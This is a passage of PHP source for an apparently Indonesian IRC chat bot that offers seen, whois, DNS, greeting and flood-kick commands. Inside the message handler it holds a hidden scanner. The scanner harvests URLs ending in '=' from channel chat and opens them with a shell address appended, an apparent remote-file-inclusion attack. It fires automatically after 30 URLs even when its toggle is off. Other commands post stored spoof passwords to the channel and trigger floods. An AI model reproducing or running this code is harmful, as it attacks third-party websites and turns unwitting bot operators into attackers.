$onoff;$modbot->notice($fp,$fsrc[nick],'AUTOCYCLE '. strtoupper($targetsys).' is [4'.strtoupper($systembot['AUTOCYCLE'][strtoupper($targetsys)]).']'); } if($wsys=='AUTOJOIN' && $sysok==1 && $getlvl > 2){ $systembot['AUTOJOIN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOJOIN '. strtoupper($targetsys).' is [4'.strtoupper($systembot['AUTOJOIN'][strtoupper($targetsys)]).']'); } if($wsys=='AUTOAWAY' && $sysok==1 && $getlvl > 2){ $systembot['AUTOAWAY']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'AUTOAWAY is [4'.strtoupper($systembot['AUTOAWAY']['ALL']).']'); } if($wsys=='LISTGREET' && $dCom[1] && $dCom[2] && $getlvl > 2){ if($onoff=="3ON"){ $ddc=strtolower($dCom[1]);$greetmsg["$ddc"]["nama"]=$dCom[1];$mgreet=str_replace($dCom[0]." ".$dCom[1]." ","",$TxtMsg); $greetmsg["$ddc"]["msg"]=$mgreet;$modbot->notice($fp,$fsrc[nick],'Auto Greet For :'.$greetmsg["$ddc"]["nama"]); $modbot->notice($fp,$fsrc[nick],'Auto Greet Msg :'.$greetmsg["$ddc"]["msg"]); }else{$eel=strtolower($dCom[1]);unset($greetmsg["$eel"]["nama"]);unset($greetmsg["$eel"]["msg"]);$modbot->notice($fp,$fsrc[nick],'Delete Greet For :'.$eel);} } if($wsys=='LISTISON' && $dCom[1] && $getlvl > 2){ if($onoff=="3ON"){ if($modbot->add_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is now in my list');} else{$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' is already in my list');} } else{if($modbot->del_ison($dCom[1])==1){$modbot->notice($fp,$fsrc[nick],$dCom[1] . ' has been deleted');}} } } ################################ SYSTEM ################################### } } ############################### elseif (substr($Params[3],0,2)==':!'){ if (strtolower($Params[3])==':!ping' && ereg('#',$Params[2]) && $systembot['PING'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ if(strtolower($dCom[1])=='me'){$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);}else {$modbot->stuf_ping($fp,$Params[2],$dCom[1]);} }else{$modbot->stuf_ping($fp,$Params[2],$fsrc[nick]);} } elseif (strtolower($Params[3])==':!version' && ereg('#',$Params[2]) && $systembot['VERSION'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $modbot->msg($fp,$Params[4],'VERSION');$datversi[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datversi[strtolower($Params[4])]["chan"]=$Params[2]; }else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !version ');} } elseif (strtolower($Params[3])==':!jam' && ereg('#',$Params[2]) && $systembot['JAM'][strtoupper($Params[2])]=="3ON") { $sekarang=date("l, j F Y H:i:s"); $modbot->msg($fp,$Params[2],"sekarang : 12[8".$sekarang."12]"); } elseif (strtolower($Params[3])==':!seen' && ereg('#',$Params[2]) && $systembot['SEEN'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $nicksenn=strtolower($dCom[1]); $waktuseennya=time(); $lamaseen= $waktuseennya - $asalseen[$nicksenn]; $asilhari=0;$asilejam=0;$asilmeni=0; if ($lamaseen>=86400){$asilhari = $lamaseen / 86400;$hari = floor($asilhari)."11hari "; $sisane = $lamaseen - ($hari*86400);$lamaseen = $sisane; }else{$hari =""; } if ($lamaseen>=3600) {$asilejam = $lamaseen / 3600; $jamm = floor($asilejam)."24jam "; $sisane = $lamaseen - ($jamm*3600); $lamaseen = $sisane; }else{$jamm =""; } if ($lamaseen>=60) {$asilmeni = $lamaseen / 60; $ment = floor($asilmeni)."60menit ";$sisane = $lamaseen - ($ment*60); $lamaseen = $sisane; }else{$ment =""; } if ($asilhari == 0){$katahari=""; }else{$katahari=$hari; } if ($asilejam == 0){$kataejam=""; }else{$kataejam=$jamm; } if ($asilmeni == 0){$katameni=""; }else{$katameni=$ment; } if ($lamaseen == 0){$katadeti=""; }else{$katadeti=$lamaseen."11detik"; } $katamsgseen = $katahari." ".$kataejam." ".$katameni." ".$katadeti; if($asalseen[$nicksenn.'chanel']=="ini"){$asalseen[$nicksenn.'chanel']="$Params[2]"; } if($asalseen[$nicksenn]){ if($asalseen[$nicksenn]=="ada"){ $modbot->msg($fp,$Params[2],"Si 14".$nicksenn." ada di sini kok 9!"); } elseif($asalseen[$nicksenn]=="ganti"){ $modbot->msg($fp,$Params[2],"terahir aku liat Si 14".$nicksenn." ganti nick ".$asalseen[$nicksenn.'chanel']"); } else{$modbot->msg($fp,$Params[2],"terahir aku liat 12".$nicksenn. ".$asalseen[$nicksenn.'status']." keluar chanel 12".$asalseen[$nicksenn.'chanel']." 12".$katamsgseen." yg lalu"); } }else{$modbot->msg($fp,$Params[2],"Aku gak pernah liat thuh ".$dCom[1]." ".$fsrc[nick].""); } }else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !seen ');} } elseif (strtolower($Params[3])==':!whois' && ereg('#',$Params[2]) && $systembot['WHOIS'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $datwhois[strtolower($dCom[1])]["nick"]=strtolower($dCom[1]); $datwhois[strtolower($dCom[1])]["chan"]=$Params[2]; $modbot->send($fp,'WHOIS '.$dCom[1]); } else{ $modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik :!whois '); } } elseif (strtolower($Params[3])==':!time' && ereg('#',$Params[2]) && $systembot['TIME'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $modbot->msg($fp,$Params[4],'TIME');$dattime[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$dattime[strtolower($Params[4])]["chan"]=$Params[2];} else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !time ');} } elseif (strtolower($Params[3])==':!finger' && ereg('#',$Params[2]) && $systembot['FINGER'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $modbot->msg($fp,$Params[4],'FINGER');$datfinger[strtolower($Params[4])]["nick"]=strtolower($Params[4]);$datfinger[strtolower($Params[4])]["chan"]=$Params[2]; }else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !finger ');} } elseif (strtolower($Params[3])==':!ip' && ereg('#',$Params[2]) && $systembot['IP'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $res = gethostbyname($dCom[1]); $res = implode(", ",$res); if ( empty($res) ) { $modbot->msg($fp,$Params[2],'Ip for: '.$dCom[1] . 'error resolved '); }else{$modbot->msg($fp,$Params[2],'Ip for: '.$dCom[1] . ' '.$res); } }else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !ip ');} } elseif (strtolower($Params[3])==':!dns' && ereg('#',$Params[2]) && $systembot['DNS'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ if (ereg("[a-zA-Z]", $dCom[1])) {$res = gethostbyname($dCom[1]);} elseif (ereg("[0-9]", $dCom[1])) {$res = gethostbyaddr($dCom[1]);} if ($res==$dCom[1]) { $res = "Not resolved."; } else { $res = "resolved to: $res ."; } $modbot->msg($fp,$Params[2],'DNS Query for: '.$dCom[1] . ' ' .$res); }else{$modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik !dns ');} } elseif (strtolower($Params[3])==':!astro' && ereg('#',$Params[2]) && $systembot['ASTRO'][strtoupper($Params[2])]=="3ON") { if($dCom[1]){ $modbot->notice($fp,$fsrc[nick],'15(04Astro15) '. $modbot->mod_astro($dCom[1])); }else{ $modbot->notice($fp,$fsrc[nick],'Perintah salah! Ketik :!astro '); } } elseif (strtolower($Params[3])==":!spoof" && ereg('#',$Params[2]) && $systembot['SPOOF'][strtoupper($Params[2])]=="3ON") { $spoofnya=strtolower($Params[4]); if ($Params[5]<=$jmlspoof["$spoofnya"] && $Params[5]>0){ fputs($fp,'PRIVMSG '.$Params[2].' :15(04Spoof15) Ident: 4' . $isisp["$Params[5]"]["$spoofnya"]["ident"] .' Spoof: 4' . $isisp["$Params[5]"]["$spoofnya"]["spoof"] .' Passw: 4' . $isisp["$Params[5]"]["$spoofnya"]["pass"].''. CRLF); } else {$modbot->notice($fp,$frsc[nick],'15(04Spoof15) Request Error');} } elseif (strtolower($Params[3])==":!kslang" && ereg('#',$Params[2]) && $systembot['KSLANG'][strtoupper($Params[2])]=="3ON") { $ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg); if($Params[4]<=$kmjml[strtolower($ktslsl)] && $Params[4]>0){ $nomere=$Params[4]-1; if(strpos($kmusedan[$nomere]["definisi"][strtolower($ktslsl)],"
")){ $defedan=explode("
",$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]); foreach ($defedan as $darredan) { $modbot->notice($fp,$fsrc[nick],'15(04Arti15) '.$darredan); sleep(1); } } elseif($kmusedan[$nomere]["definisi"][strtolower($ktslsl)]){ $modbot->notice($fp,$fsrc[nick],'15(04Arti15) '.$kmusedan[$nomere]["definisi"][strtolower($ktslsl)]); } if(strpos($kmusedan[$nomere]["contoh"][strtolower($ktslsl)],"
")){ $defedan=explode("
",$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]); foreach ($defedan as $darredan) { $modbot->notice($fp,$fsrc[nick],'15(04Cth15) '.$darredan); sleep(1); } } elseif($kmusedan[$nomere]["contoh"][strtolower($ktslsl)]){ $modbot->notice($fp,$fsrc[nick],'15(04Cth15) '.$kmusedan[$nomere]["contoh"][strtolower($ktslsl)]); } } else{ fputs($fp,'PRIVMSG '.$Params[2].' :15(04KSlang15) Request Error'. CRLF); } } elseif (strtolower($Params[3])==':!update' && ereg('#',$Params[2]) && $Params[5]) { $typeup=strtolower($Params[4]); if($typeup=='spoof' && $systembot['SPOOF'][strtoupper($Params[2])]=="3ON"){ $modbot->msg($fp,$Params[2],'15(04Spoof15) Update Complete! FOUND :'.$modbot->mod_uspoof($fp,$Params[5]).' Spoof'); } elseif($typeup=='kslang' && $systembot['KSLANG'][strtoupper($Params[2])]=="3ON"){ $ktslsl=str_replace($Params[3]." ".$Params[4]." ","",":".$TxtMsg); $modbot->msg($fp,$Params[2],'15(04KSlang15) Update Complete! FOUND :'.$modbot->mod_uslang($fp,$ktslsl).' Arti'); } } elseif (strtolower($Params[3])==":!bom" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]=="3ON") { $modbot->stuf_bom($fp,$Params[2],$Params[4]); } elseif (strtolower($Params[3])==":!potong" && ereg('#',$Params[2]) && $Params[4] && $systembot['BOM'][strtoupper($Params[2])]=="3ON") { $modbot->stuf_potong($fp,$fsrc[nick],$Params[2],$Params[4]); } } elseif (strlen(strtolower($TxtMsg))>=$maxkar) { if (substr($Params[3],0,1)==':' && ereg('#',$Params[2]) && $systembot['GUARD'][strtoupper($Params[2])]=="3ON") { if ($floddban == "ON"){$modbot->ban($fp,$Params[2],"*!*@".$fsrc[host]); } $modbot->kick($fp,$Params[2],$fsrc[nick],"4detected MaX LineS.,.!!GeT oUT..!.!<><(¤PoWeReD by No_found¤)"); if ($floddban == "ON"){ sleep(5); if($systembot['NGOMONG'][strtoupper($Params[2])]=="3ON"){$modbot->msg($fp,$Params[2],"hubungi my oWner untuk informasi tentang aku"); } sleep(2); $modbot->unban($fp,$Params[2],""); } } } elseif (substr($Params[3],0,1)==':') { $naidiceluk=substr($Params[3],1,(strlen($Params[3]))); if ((substr_count(strtolower($TxtMsg),strtolower($bot['nick']))>0)OR(substr_count(strtolower($TxtMsg),strtolower($bot['realname']))>0)) { if($systembot['NGOMONG'][strtoupper($Params[2])]=="3ON"){ $ada = FALSE; if(strtolower($bot['nick']) != strtolower($fsrc[nick])){ foreach ($respon_pesan as $rpesan) { $trtext = strtolower($rpesan[0]); if (substr_count(strtolower($TxtMsg),$trtext) > 0) { $rpesan[1] = str_replace("",$fsrc[nick],$rpesan[1]); $modbot->msg($fp,$Params[2],$rpesan[1]); $ada = TRUE; } } foreach ($pujianlist as $rpesan) { $trtext = strtolower($rpesan); if (substr_count(strtolower($TxtMsg),$trtext) > 0) { $jawab = $rpujian[rand(0,count($rpujian) - 1)]; $jawab = str_replace("",$fsrc[nick],$jawab); $jawab = str_replace("",$trtext,$jawab); $modbot->msg($fp,$Params[2],$jawab); $ada = TRUE; } } foreach ($cacianlist as $rpesan) { $trtext = strtolower($rpesan); if (substr_count(strtolower($TxtMsg),$trtext) > 0) { $jawab = $rcacian[rand(0,count($rcacian) - 1)]; $jawab = str_replace("",$fsrc[nick],$jawab); $jawab = str_replace("",$trtext,$jawab); $modbot->msg($fp,$Params[2],$jawab); $ada = TRUE; } } if (!$ada) { $jwbpsn = $jawabsapa[rand(0,count($jawabsapa) - 1)]; $jwbpsn = str_replace("",$fsrc[nick],$jwbpsn); $modbot->msg($fp,$Params[2],$jwbpsn); } } } } elseif($systembot['NGOMONG'][strtoupper($Params[2])]=="3ON"){ $ada = FALSE; if(strtolower($bot['nick']) != strtolower($fsrc[nick])){ foreach ($badwordlist as $rpesan) { $trtext = strtolower($rpesan); if (substr_count(strtolower($TxtMsg),$trtext) > 0) { $jawab = $rjorok[rand(0,count($rjorok) - 1)]; $jawab = str_replace("",$fsrc[nick],$jawab); $jawab = str_replace("",$trtext,$jawab); $modbot->msg($fp,$Params[2],$jawab); $ada = TRUE; if($systembot['BADWORD'][strtoupper($Params[2])]=="3ON"){$modbot->kick($fp,$Params[2],$fsrc[nick],"DeteCted AbuSe B@dWorD this chaNels<¤>GeT OuT...!!<>(¤PoWereD by No_found¤) "); } } } foreach ($respon_umum as $rpesan) { $trtext = strtolower($rpesan[0]); if (substr_count(strtolower($TxtMsg),$trtext) > 0) { $rpesan[1] = str_replace("",$fsrc[nick],$rpesan[1]); $modbot->msg($fp,$Params[2],$rpesan[1]); $ada = TRUE; } } } } } elseif (substr($Params[3],0,3)==':me'){ $modbot->join($fp,'yeni'); } if (substr($Params[3],0,1)==':') { ############################################################################################### $trtext="http://"; if (substr_count(strtolower($TxtMsg),$trtext) > 0) { $awaltex=0; $adatarget=0; $ltexttarget=0; $panjangtex=strlen($TxtMsg); do { $awaltex=$awaltex+1; $httptarget=substr($TxtMsg,$awaltex,$panjangtex); $httptarget=substr($httptarget,0,4); $httptarget=strtolower($httptarget); if($httptarget=="http"){$ltexttarget=$awaltex;$adatarget=1;break; } if($awaltex>=$panjangtex){$adatarget=0;break; } } while(true); $ahirtarget=$panjangtex; $hasiltarget=substr($TxtMsg,$ltexttarget,$panjangtex); $rtexttarget=$panjangtex-$ltexttarget; do { $ahirtarget=$ahirtarget-1; $rtexttarget=$ahirtarget-$ltexttarget; $mburine=substr($TxtMsg,0,$ahirtarget); $mburine=substr($mburine,$ahirtarget-1,$ahirtarget); $mburine=strtolower($mburine); if($mburine=="="){ $adatarget=2; $rtexttarget=$ahirtarget-$ltexttarget; break; } if($ahirtarget<=1){$adatarget=0;break; } } while(true); if($adatarget==2){ $hasiltarget=substr($hasiltarget,0,$rtexttarget); $cektarget=substr($hasiltarget,0,15); $ngulange=0; do { $ngulange=$ngulange+1; $cektaget=substr($hasiltargetgue[$ngulange],0,15); if($cektaget==$cektarget){$sido=0;break; } if($ngulange>=$notarget){$sido=1;break; } } while(true); if($sido==1){ $notarget=$notarget+1; $hasiltargetgue[$notarget]=$hasiltarget; if ($notarget>=30){$loadergue = fopen ($hasiltarget.$shellgue, "rb"); } if ($systembot['SCANSPY'][strtoupper($Params[2])]=="3ON"){ $loadergue = fopen ($hasiltarget.$shellgue, "rb"); } } $sido=0; } } ############################################################################################### $yangngomong=strtolower($fsrc[nick]); $asalseen[$yangngomong]="ada"; if (substr($Params[3],0,1)==':' && ereg('#',$Params[2]) && $systembot['GUARD'][strtoupper($Params[2])]=="3ON") { $temptex=strtolower($Params[2]).strtolower($fsrc[nick]).strtolower($Params[3]).strtolower($Params[4]); if ($temptex==$textemp){ $textrep=($textrep+1); if ($textrep>=$Maxreep){ $modbot->kick($fp,$Params[2],$fsrc[nick],"Max RepEaT 3x !!<><>(¤PoWeReD by No_found¤)"); } }else {$textrep=0;$textemp=$temptex;} } } ########### NET ############ break; } ##[ AKHIR DATA RAW NIH ]## } ### PERMAINAN PING PONG ### elseif ( substr($DataLine,0,4) == 'PING' ) {$modbot->send($fp,'PONG ' . substr($DataLine,5));} $response =""; } ##[ End Proses Data Recv ]## } fclose ($fp); unset ($fp); $response=''; } } while ($keluar==0); ################### [ END CONNECT ] ################### ?>